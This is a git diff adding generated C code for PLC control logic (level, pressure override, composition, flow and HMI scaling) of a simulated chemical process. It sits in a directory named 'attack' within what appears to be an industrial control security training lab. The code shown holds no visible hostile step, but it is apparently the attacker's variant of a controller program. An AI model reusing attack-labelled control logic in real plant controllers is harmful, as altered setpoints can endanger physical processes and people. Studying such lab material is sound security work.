__INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + 